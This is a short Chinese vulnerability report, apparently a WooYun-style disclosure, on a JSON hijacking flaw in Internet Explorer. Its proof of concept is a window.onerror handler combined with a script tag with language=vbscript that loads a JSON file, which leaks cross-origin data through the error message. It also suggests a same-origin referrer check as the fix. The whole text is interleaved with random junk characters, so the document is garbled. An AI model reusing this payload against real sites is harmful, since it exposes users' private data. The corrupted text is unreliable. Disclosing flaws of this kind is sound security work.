简要描述:: c5 o1 A; p, m6 d7 l p( t
: S/ {7 \; X5 j- q9 V/ z( A" { v/ j由于某些资源容器对数据处理不当导致json劫持漏洞.- ^; [; e/ ]1 H# ?$ l* G1 E% t5 w
详细说明:
3 f& h5 ^# ]' O5 h1 Y' G由于ie支持vbscript,所以script元素可以指定成vbscript语言:) M4 W9 H# U8 p% b
<script language=vbscript></script>3 u9 u# t' {1 Q- _& _' c
$ ]: ]% S. o( |* @当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
, Z: k$ L+ z& u0 ~漏洞证明:" ]' Q0 @/ l6 Q/ y% K9 M0 G+ b
<script>
0 Q$ Y! u1 n% U* Q) e9 Owindow.onerror=function(_){) v3 S+ Y) i; }* t
alert(_)
. Y8 L3 t `$ u; Q) b}
) B. X. U, S! R! @</script>: j* H( n) L7 @9 C/ Y% M
<script language=vbscript src=1.json></script>7 X- j2 ^/ }+ L& A
+ a7 u6 A2 ]& U( k 6 ~$ c& e+ B& }: u; T/ X
1.json:1 ]% x6 n9 A( Z. ~
[{"name":"sogili","age":19}]0 E, P& L: g) \
修复方案:
- N* ]8 x+ |& u4 J/ J网站业务对于这个问题可以通过验证referrer是否为同源来防御 |